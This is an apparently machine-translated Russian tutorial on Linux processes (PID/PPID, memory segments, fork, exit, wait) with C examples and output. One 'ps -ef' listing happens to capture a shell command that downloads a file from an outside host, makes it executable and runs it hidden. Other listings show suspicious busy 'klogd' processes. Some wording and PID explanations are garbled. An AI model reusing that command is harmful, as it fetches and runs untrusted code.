Межпроцессное взаимодействие - Краткое руководство

Межпроцессное взаимодействие - Обзор

Межпроцессное взаимодействие (IPC) - это механизм, который включает в себя взаимодействие одного процесса с другим процессом. Это обычно происходит только в одной системе.

Общение может быть двух типов -

  • Между связанными процессами, инициируемыми только одним процессом, таким как родительский и дочерний процессы.

  • Между несвязанными процессами или двумя или более различными процессами.

Ниже приведены некоторые важные термины, которые нам необходимо знать, прежде чем продолжить эту тему.

Трубы - связь между двумя взаимосвязанными процессами. Механизм является полудуплексным, что означает, что первый процесс связывается со вторым процессом. Для достижения полного дуплекса, т. Е. Для взаимодействия второго процесса с первым процессом требуется другой канал.

FIFO - Связь между двумя не связанными процессами. FIFO - это полный дуплекс, что означает, что первый процесс может взаимодействовать со вторым процессом и наоборот одновременно.

Очереди сообщений - связь между двумя или более процессами с полной дуплексной пропускной способностью. Процессы будут связываться друг с другом, отправляя сообщение и извлекая его из очереди. Полученное сообщение больше не доступно в очереди.

Общая память - связь между двумя или более процессами достигается через общую часть памяти между всеми процессами. Общая память должна быть защищена друг от друга путем синхронизации доступа ко всем процессам.

Семафоры - семафоры предназначены для синхронизации доступа к нескольким процессам. Когда один процесс хочет получить доступ к памяти (для чтения или записи), он должен быть заблокирован (или защищен) и освобожден при удалении доступа. Это должно быть повторено всеми процессами для защиты данных.

Сигналы - Сигнал - это механизм связи между несколькими процессами посредством сигнализации. Это означает, что исходный процесс отправит сигнал (распознанный по номеру), а целевой процесс обработает его соответствующим образом.

Примечание. Почти все программы в этом руководстве основаны на системных вызовах в операционной системе Linux (выполняется в Ubuntu).

Обрабатывать информацию

Прежде чем мы перейдем к информации о процессе, нам нужно знать несколько вещей, таких как -

Что такое процесс? Процесс - это исполняемая программа.

Что такое программа? Программа - это файл, содержащий информацию о процессе и способах его построения во время выполнения. Когда вы запускаете выполнение программы, она загружается в оперативную память и начинает выполнение.

Каждый процесс идентифицируется уникальным положительным целым числом, называемым идентификатором процесса или просто PID (Идентификационный номер процесса). Ядро обычно ограничивает идентификатор процесса до 32767, который настраивается. Когда идентификатор процесса достигает этого предела, он снова сбрасывается, то есть после диапазона системных процессов. Неиспользуемые идентификаторы процессов из этого счетчика затем присваиваются вновь созданным процессам.

Системный вызов getpid () возвращает идентификатор процесса вызывающего процесса.

#include <sys/types.h>
#include <unistd.h>

pid_t getpid(void);

Этот вызов возвращает идентификатор процесса вызывающего процесса, который гарантированно будет уникальным. Этот вызов всегда успешен и поэтому не возвращает значения, указывающего на ошибку.

У каждого процесса есть свой уникальный идентификатор, называемый идентификатором процесса, и это хорошо, но кто его создал? Как получить информацию о его создателе? Создатель процесса называется родительским процессом. Родительский ID или PPID можно получить с помощью вызова getppid ().

Системный вызов getppid () возвращает PID PID вызывающего процесса.

#include <sys/types.h>
#include <unistd.h>

pid_t getppid(void);

Этот вызов возвращает идентификатор родительского процесса вызывающего процесса. Этот вызов всегда успешен и поэтому не возвращает значения, указывающего на ошибку.

Давайте разберемся с этим на простом примере.

Ниже приведена программа, позволяющая узнать PID и PPID вызывающего процесса.

File name: processinfo.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
   int mypid, myppid;
   printf("Program to know PID and PPID's information\n");
   mypid = getpid();
   myppid = getppid();
   printf("My process ID is %d\n", mypid);
   printf("My parent process ID is %d\n", myppid);
   printf("Cross verification of pid's by executing process commands on shell\n");
   system("ps -ef");
   return 0;
}

При компиляции и выполнении вышеупомянутой программы последующими будут выходные данные.

UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0  2017 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql       101      1  0  2017 ?        00:06:06 /usr/libexec/mysqld 
                                         --basedir = /usr 
                                         --datadir = /var/lib/mysql 
                                         --plugin-dir = /usr/lib64/mysql/plugin 
                                         --user = mysql 
                                         --log-error = /var/log/mariadb/mariadb.log 
                                         --pid-file = /run/mariadb/mariadb.pid 
                                         --socket = /var/lib/mysql/mysql.sock
2868535   96284      0  0 05:23 ?        00:00:00 bash -c download() { 
                                         flag = "false" hsize = 1 
                                         echo -e "GET /$2 HTTP/1.1\nHost: 
                                         $1\nConnection: close\n\n" | 
                                         openssl s_client -timeout -quiet 
                                         -verify_quiet -connect $1:443 2> 
                                         /dev/ null | tee out | while read line do
                                         if [[ "$flag" == "false" ]]     
                                         then 
                                         hsize = $((hsize+$(echo $line | wc -c)))
                                         fi
                                         if [[ "${line:1:1}" == "" ]]     
                                         then flag = "true"
                                         fi 
                                         echo $hsize > 
                                         size done tail -c +$(cat size) out > 
                                         $2 rm size out }
                                         ( download my.mixtape.moe mhawum 2>
                                         /dev/ null chmod +x mhawum 2>
                                         /dev/ null ./mhawum >
                                         /dev/ null 2>
                                         /dev/ null )&
2868535   96910  96284 99 05:23 ?        00:47:26 ./mhawum
6118874  104116      0  3 05:25 ?        00:00:00 sh -c cd /home/cg/root/6118874; 
                                         timeout 10s javac Puppy.java
6118874  104122 104116  0 05:25 ?        00:00:00 timeout 10s javac Puppy.java
6118874  104123 104122 23 05:25 ?        00:00:00 javac Puppy.java
3787205  104169      0  0 05:25 ?        00:00:00 sh -c cd /home/cg/root/3787205; 
                                         timeout 10s main
3787205  104175 104169  0 05:25 ?        00:00:00 timeout 10s main
3787205  104176 104175  0 05:25 ?        00:00:00 main
3787205  104177 104176  0 05:25 ?        00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell

Примечание. Функция библиотеки «C» system () выполняет команду оболочки. Аргументы, передаваемые system (), являются командами, выполняемыми в оболочке. В вышеприведенной программе команда «ps» указывает статус процесса.

Полная информация обо всех запущенных процессах и другая информация, связанная с системой, доступна в файловой системе proc, доступной по адресу / proc.

Изображение процесса

Теперь, когда мы увидели, как получить основную информацию о процессе и его родительском процессе, пришло время изучить детали процесса / информации о программе.

Что именно представляет собой изображение процесса? Образ процесса - это исполняемый файл, необходимый при выполнении программы. Это изображение обычно содержит следующие разделы -

  • Сегмент кода или текстовый сегмент
  • Сегмент данных
  • Сегмент стека
  • Сегмент кучи

Ниже приведено графическое представление изображения процесса.

Обрабатывать изображения

Сегмент кода - это часть виртуального адресного пространства объектного файла или программы, состоящая из исполняемых инструкций. Обычно это сегмент данных только для чтения и имеет фиксированный размер.

Сегмент данных бывает двух типов.

  • Initialized
  • Un-инициализирован

Инициализированный сегмент данных - это часть объектного файла или виртуального адресного пространства программы, которая состоит из инициализированных статических и глобальных переменных.

Неинициализированный сегмент данных - это часть объектного файла или виртуального адресного пространства программы, которая состоит из неинициализированных статических и глобальных переменных. Неинициализированный сегмент данных также называется сегментом BSS (Block Started by Symbol).

Сегмент данных предназначен для чтения и записи, поскольку значения переменных могут быть изменены во время выполнения. Этот сегмент также имеет фиксированный размер.

Сегмент стека - это область памяти, выделенная для автоматических переменных и параметров функций. Он также сохраняет адрес возврата при выполнении вызовов функций. Стек использует механизм LIFO (Last-In-First-Out) для хранения локальных или автоматических переменных, параметров функций и сохранения следующего адреса или адреса возврата. Обратный адрес относится к адресу, который необходимо вернуть после завершения выполнения функции. Этот размер сегмента является переменным в соответствии с локальными переменными, параметрами функций и вызовами функций. Этот сегмент растет от более высокого адреса к более низкому адресу.

Сегмент кучи - это область памяти, выделенная для хранения динамической памяти, например, для вызовов malloc () и calloc (). Этот размер сегмента также является переменным в соответствии с распределением пользователя. Этот сегмент растет от более низкого адреса к более высокому адресу.

Давайте теперь проверим, как изменяется размер сегментов (сегментов данных и bss) в нескольких примерах программ. Размер сегмента можно узнать, выполнив команду «размер».

Начальная программа

Файл :gment_size1.c

#include<stdio.h>

int main() {
   printf("Hello World\n");
   return 0;
}

В следующей программе добавлена неинициализированная статическая переменная. Это означает, что размер неинициализированного сегмента (BSS) увеличится на 4 байта. Примечание. В операционной системе Linux размер int составляет 4 байта. Размер целочисленного типа данных зависит от поддержки компилятора и операционной системы.

Файл :gment_size2.c

#include<stdio.h>

int main() {
   static int mystaticint1;
   printf("Hello World\n");
   return 0;
}

В следующей программе добавлена инициализированная статическая переменная. Это означает, что размер инициализированного сегмента (DATA) увеличится на 4 байта.

Файл :gment_size3.c

#include<stdio.h>

int main() {
   static int mystaticint1;
   static int mystaticint2 = 100;
   printf("Hello World\n");
   return 0;
}

В следующей программе добавлена инициализированная глобальная переменная. Это означает, что размер инициализированного сегмента (DATA) увеличится на 4 байта.

Файл :gment_size4.c

#include<stdio.h>

int myglobalint1 = 500;
int main() {
   static int mystaticint1;
   static int mystaticint2 = 100;
   printf("Hello World\n");
   return 0;
}

В следующей программе добавлена неинициализированная глобальная переменная. Это означает, что размер неинициализированного сегмента (BSS) увеличится на 4 байта.

Файл :gment_size5.c

#include<stdio.h>

int myglobalint1 = 500;
int myglobalint2;
int main() {
   static int mystaticint1;
   static int mystaticint2 = 100;
   printf("Hello World\n");
   return 0;
}

Шаги выполнения

компиляция

babukrishnam $ gcc segment_size1.c -o segment_size1
babukrishnam $ gcc segment_size2.c -o segment_size2
babukrishnam $ gcc segment_size3.c -o segment_size3
babukrishnam $ gcc segment_size4.c -o segment_size4
babukrishnam $ gcc segment_size5.c -o segment_size5

Исполнение / выход

babukrishnam size segment_size1 segment_size2 segment_size3 segment_size4 segment_size5
   text  data  bss  dec  hex  filename
   878   252    8   1138 472  segment_size1 
   878   252   12   1142 476  segment_size2 
   878   256   12   1146 47a  segment_size3 
   878   260   12   1150 47e  segment_size4 
   878   260   16   1154 482  segment_size5
babukrishnam

Создание и прекращение процесса

До сих пор мы знаем, что всякий раз, когда мы выполняем программу, процесс создается и будет завершен после завершения выполнения. Что делать, если нам нужно создать процесс в программе, и может потребоваться запланировать для него другую задачу. Можно ли этого достичь? Да, очевидно, через создание процесса. Конечно, после того, как задание выполнено, оно будет прервано автоматически, или вы можете прекратить его при необходимости.

Создание процесса достигается с помощью системного вызова fork () . Вновь созданный процесс называется дочерним процессом, а процесс, который его инициировал (или процесс при запуске выполнения), называется родительским процессом. После системного вызова fork () у нас есть два процесса - родительский и дочерний процессы. Как их дифференцировать? Очень просто, это через их возвращаемые значения.

Системный вызов

После создания дочернего процесса, давайте посмотрим детали системного вызова fork ().

#include <sys/types.h>
#include <unistd.h>

pid_t fork(void);

Создает дочерний процесс. После этого вызова есть два процесса: существующий называется родительским, а вновь созданный - дочерним.

Системный вызов fork () возвращает одно из трех значений:

  • Отрицательное значение, указывающее на ошибку, т. Е. Не удалось создать дочерний процесс.

  • Возвращает ноль для дочернего процесса.

  • Возвращает положительное значение для родительского процесса. Это значение является идентификатором недавно созданного дочернего процесса.

Давайте рассмотрим простую программу.

File name: basicfork.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
   fork();
   printf("Called fork() system call\n");
   return 0;
}

Шаги выполнения

компиляция

gcc basicfork.c -o basicfork

Исполнение / выход

Called fork() system call
Called fork() system call

Примечание. Обычно после вызова fork () дочерний процесс и родительский процесс выполняют разные задачи. Если нужно выполнить одну и ту же задачу, то для каждого вызова fork () она будет выполняться 2 раза по n раз, где n - количество вызовов fork ().

В приведенном выше случае fork () вызывается один раз, поэтому вывод выводится дважды (2 степени 1). Если fork () вызывается, скажем, 3 раза, то вывод будет напечатан 8 раз (2 степени 3). Если он вызывается 5 раз, то печатается 32 раза и так далее, и так далее.

Увидев, что fork () создает дочерний процесс, пришло время увидеть детали родительского и дочернего процессов.

Имя файла: pids_after_fork.c

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
   pid_t pid, mypid, myppid;
   pid = getpid();
   printf("Before fork: Process id is %d\n", pid);
   pid = fork();

   if (pid < 0) {
      perror("fork() failure\n");
      return 1;
   }

   // Child process
   if (pid == 0) {
      printf("This is child process\n");
      mypid = getpid();
      myppid = getppid();
      printf("Process id is %d and PPID is %d\n", mypid, myppid);
   } else { // Parent process 
      sleep(2);
      printf("This is parent process\n");
      mypid = getpid();
      myppid = getppid();
      printf("Process id is %d and PPID is %d\n", mypid, myppid);
      printf("Newly created process id or child pid is %d\n", pid);
   }
   return 0;
}

Шаги компиляции и выполнения

Before fork: Process id is 166629
This is child process
Process id is 166630 and PPID is 166629
Before fork: Process id is 166629
This is parent process
Process id is 166629 and PPID is 166628
Newly created process id or child pid is 166630

Процесс может завершиться любым из двух способов -

  • Аномально, происходит при доставке определенных сигналов, скажем, сигнала завершения.

  • Обычно используется системный вызов _exit () (или системный вызов _Exit ()) или библиотечная функция exit ().

Разница между _exit () и exit () заключается в основном в очистке. Функция exit () выполняет некоторую очистку перед возвратом элемента управления ядру, тогда как _exit () (или _Exit ()) немедленно возвращает элемент обратно ядру.

Рассмотрим следующий пример программы с exit ().

Имя файла: atexit_sample.c

#include <stdio.h>
#include <stdlib.h>

void exitfunc() {
   printf("Called cleanup function - exitfunc()\n");
   return;
}

int main() {
   atexit(exitfunc);
   printf("Hello, World!\n");
   exit (0);
}

Шаги компиляции и выполнения

Hello, World!
Called cleanup function - exitfunc()

Рассмотрим следующий пример программы с _exit ().

Имя файла: at_exit_sample.c

#include <stdio.h>
#include <unistd.h>

void exitfunc() {
   printf("Called cleanup function - exitfunc()\n");
   return;
}

int main() {
   atexit(exitfunc);
   printf("Hello, World!\n");
   _exit (0);
}

Шаги компиляции и выполнения

Hello, World!

Мониторинг дочерних процессов

Как мы уже видели, всякий раз, когда мы создаем дочерний процесс из программы с использованием fork, происходит следующее:

  • Текущий процесс теперь становится родительским процессом
  • Новый процесс становится дочерним процессом

Что произойдет, если родительский процесс завершит свою задачу раньше, чем дочерний процесс, а затем выйдет или завершится? Теперь, кто будет родителем дочернего процесса? Родителем дочернего процесса является процесс init, который является первым процессом, инициирующим все задачи.

Чтобы отслеживать состояние выполнения дочернего процесса, проверять, запущен или остановлен дочерний процесс, или проверять состояние выполнения и т. Д., Используются системные вызовы wait () и их варианты.

Давайте рассмотрим пример программы, где родительский процесс не ожидает дочерний процесс, в результате чего процесс init становится новым родительским для дочернего процесса.

Имя файла: parentprocess_nowait.c

#include<stdio.h>

int main() {
   int pid;
   pid = fork();
   
   // Child process
   if (pid == 0) {
      system("ps -ef");
      sleep(10);
      system("ps -ef");
   } else {
      sleep(3);
   }
   return 0;
}

Шаги компиляции и выполнения

UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0 Jan20 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql       101      1  0 Jan20 ?        00:04:41 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506    5445      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328    5446      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328   21894      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506   21895      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328   27309      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
3108506   27311      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
8295652   32407      0  0 Jan20 ?        00:00:39 /sbin/klogd -c 1 -x -x
4688328   49830      0  0 Jan20 ?        00:00:18 /sbin/klogd -c 1 -x -x
3108506   50854      0  0 Jan20 ?        00:00:18 /sbin/klogd -c 1 -x -x
4688328   64936      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
3108506   64937      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
4688328   67563      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
5942779   68128      0  0 Jan22 ?        00:00:07 /sbin/klogd -c 1 -x -x
3108506   68238      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
4688328   68999      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
3108506   69212      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   74090      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
3108506   74091      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
4688328   74298      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506   74299      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
6327201   74901      0  0 Jan20 ?        00:00:38 /sbin/klogd -c 1 -x -x
6327201   77274      0  0 Jan20 ?        00:00:27 /sbin/klogd -c 1 -x -x
7528790   78621      0  0 Jan20 ?        00:00:33 /sbin/klogd -c 1 -x -x
7528790   80536      0  0 Jan20 ?        00:01:09 [/sbin/klogd -c ] <defunct>
6327201   80542      0  0 Jan20 ?        00:01:09 [/sbin/klogd -c ] <defunct>
4688328   82050      0  0 Jan22 ?        00:01:59 [/sbin/klogd -c ] <defunct>
3108506   82051      0  0 Jan22 ?        00:01:59 [/sbin/klogd -c ] <defunct>
7528790   84116      0  0 Jan20 ?        00:00:27 /sbin/klogd -c 1 -x -x
7528790   84136      0 19 Jan20 ?        21:13:38 /sbin/klogd -c 1 -x -x
7528790   84140      0  0 Jan20 ?        00:00:28 /sbin/klogd -c 1 -x -x
3108506   84395      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
4688328   84396      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
5942779   84397      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
3108506   84928      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
4688328   84929      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
5942779   84930      0  0 Jan22 ?        00:00:30 [/sbin/klogd -c ] <defunct>
7528790   84970      0  0 Jan20 ?        00:00:34 /sbin/klogd -c 1 -x -x
3108506   85787      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   85789      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   86368      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   86402      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   87027      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
7528790   87629      0  0 Jan20 ?        00:00:39 /sbin/klogd -c 1 -x -x
7528790   87719      0  0 Jan20 ?        00:00:27 /sbin/klogd -c 1 -x -x
4688328   88138      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   88140      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   89353      0 99 Jan22 ?        2-07:35:14 /sbin/klogd -c 1 -x -x
5942779   91836      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
4688328  125358      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506  125359      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328  127456      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506  127457      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
8023807  163891      0  0 05:41 ?        00:00:00 main
8023807  164130      0  0 05:41 ?        00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main
8023807  164136 164130  0 05:41 ?        00:00:00 timeout 10s main
8023807  164137 164136  0 05:41 ?        00:00:00 main
8023807  164138 164137  0 05:41 ?        00:00:00 main
8023807  164139 164138  0 05:41 ?        00:00:00 ps -ef
UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0 Jan20 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql       101      1  0 Jan20 ?        00:04:41 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506    5445      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328    5446      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328   21894      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506   21895      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328   27309      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
3108506   27311      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
8295652   32407      0  0 Jan20 ?        00:00:39 /sbin/klogd -c 1 -x -x
4688328   49830      0  0 Jan20 ?        00:00:18 /sbin/klogd -c 1 -x -x
3108506   50854      0  0 Jan20 ?        00:00:18 /sbin/klogd -c 1 -x -x
4688328   64936      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
3108506   64937      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
4688328   67563      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
5942779   68128      0  0 Jan22 ?        00:00:07 /sbin/klogd -c 1 -x -x
3108506   68238      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
4688328   68999      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
3108506   69212      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   74090      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
3108506   74091      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
4688328   74298      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506   74299      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
6327201   74901      0  0 Jan20 ?        00:00:38 /sbin/klogd -c 1 -x -x
6327201   77274      0  0 Jan20 ?        00:00:27 /sbin/klogd -c 1 -x -x
7528790   78621      0  0 Jan20 ?        00:00:33 /sbin/klogd -c 1 -x -x
7528790   80536      0  0 Jan20 ?        00:01:09 [/sbin/klogd -c ] <defunct>
6327201   80542      0  0 Jan20 ?        00:01:09 [/sbin/klogd -c ] <defunct>
4688328   82050      0  0 Jan22 ?        00:01:59 [/sbin/klogd -c ] <defunct>
3108506   82051      0  0 Jan22 ?        00:01:59 [/sbin/klogd -c ] <defunct>
7528790   84116      0  0 Jan20 ?        00:00:27 /sbin/klogd -c 1 -x -x
7528790   84136      0 19 Jan20 ?        21:13:48 /sbin/klogd -c 1 -x -x
7528790   84140      0  0 Jan20 ?        00:00:28 /sbin/klogd -c 1 -x -x
3108506   84395      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
4688328   84396      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
5942779   84397      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
3108506   84928      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
4688328   84929      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
5942779   84930      0  0 Jan22 ?        00:00:30 [/sbin/klogd -c ] <defunct>
7528790   84970      0  0 Jan20 ?        00:00:34 /sbin/klogd -c 1 -x -x
3108506   85787      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   85789      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   86368      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   86402      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   87027      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
7528790   87629      0  0 Jan20 ?        00:00:39 /sbin/klogd -c 1 -x -x
7528790   87719      0  0 Jan20 ?        00:00:27 /sbin/klogd -c 1 -x -x
4688328   88138      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   88140      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   89353      0 99 Jan22 ?        2-07:35:24 /sbin/klogd -c 1 -x -x
5942779   91836      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
4688328  125358      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506  125359      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328  127456      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506  127457      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
8023807  164138      0  0 05:41 ?        00:00:00 main
8023807  164897 164138  0 05:41 ?        00:00:00 ps -ef

Примечание. Обратите внимание, что PID родительского процесса был 94, а PID дочернего процесса - 95. После выхода из родительского процесса PPID дочернего процесса изменился с 94 на 1 (процесс инициализации).

Ниже приведены варианты системных вызовов для контроля дочернего процесса (ов).

  • Подождите()
  • waitpid ()
  • waitid ()

Системный вызов wait () будет ожидать завершения одного из дочерних элементов и возврата своего состояния завершения в буфер, как объяснено ниже.

#include <sys/types.h>
#include <sys/wait.h>

pid_t wait(int *status);

Этот вызов возвращает идентификатор процесса прерванного дочернего элемента в случае успеха и -1 при ошибке. Системный вызов wait () приостанавливает выполнение текущего процесса и ожидает бесконечно, пока один из его дочерних элементов не завершится. Статус завершения от ребенка доступен в статусе.

Давайте изменим предыдущую программу, чтобы родительский процесс теперь ждал дочерний процесс.

/ * Имя файла: parentprocess_waits.c * /

#include<stdio.h>

int main() {
   int pid;
   int status;
   pid = fork();
   
   // Child process
   if (pid == 0) {
      system("ps -ef");
      sleep(10);
      system("ps -ef");
      return 3; //exit status is 3 from child process
   } else {
      sleep(3);
      wait(&status);
      printf("In parent process: exit status from child is decimal %d, hexa %0x\n", status, status);
   }
   return 0;
}

Шаги компиляции и выполнения

UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0 Jan20 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql       101      1  0 Jan20 ?        00:04:42 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506    5445      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328    5446      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328   21894      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506   21895      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328   27309      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
3108506   27311      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
8295652   32407      0  0 Jan20 ?        00:00:39 /sbin/klogd -c 1 -x -x
4688328   49830      0  0 Jan20 ?        00:00:18 /sbin/klogd -c 1 -x -x
3108506   50854      0  0 Jan20 ?        00:00:18 /sbin/klogd -c 1 -x -x
4688328   64936      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
3108506   64937      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
4688328   67563      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
5942779   68128      0  0 Jan22 ?        00:00:07 /sbin/klogd -c 1 -x -x
3108506   68238      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
4688328   68999      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
3108506   69212      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   74090      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
3108506   74091      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
4688328   74298      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506   74299      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
6327201   74901      0  0 Jan20 ?        00:00:38 /sbin/klogd -c 1 -x -x
6327201   77274      0  0 Jan20 ?        00:00:27 /sbin/klogd -c 1 -x -x
7528790   78621      0  0 Jan20 ?        00:00:33 /sbin/klogd -c 1 -x -x
7528790   80536      0  0 Jan20 ?        00:01:09 [/sbin/klogd -c ] <defunct>
6327201   80542      0  0 Jan20 ?        00:01:09 [/sbin/klogd -c ] <defunct>
4688328   82050      0  0 Jan22 ?        00:01:59 [/sbin/klogd -c ] <defunct>
3108506   82051      0  0 Jan22 ?        00:01:59 [/sbin/klogd -c ] <defunct>
7528790   84116      0  0 Jan20 ?        00:00:27 /sbin/klogd -c 1 -x -x
7528790   84136      0 19 Jan20 ?        21:19:39 /sbin/klogd -c 1 -x -x
7528790   84140      0  0 Jan20 ?        00:00:28 /sbin/klogd -c 1 -x -x
3108506   84395      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
4688328   84396      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
5942779   84397      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
3108506   84928      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
4688328   84929      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
5942779   84930      0  0 Jan22 ?        00:00:30 [/sbin/klogd -c ] <defunct>
7528790   84970      0  0 Jan20 ?        00:00:34 /sbin/klogd -c 1 -x -x
3108506   85787      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   85789      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   86368      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
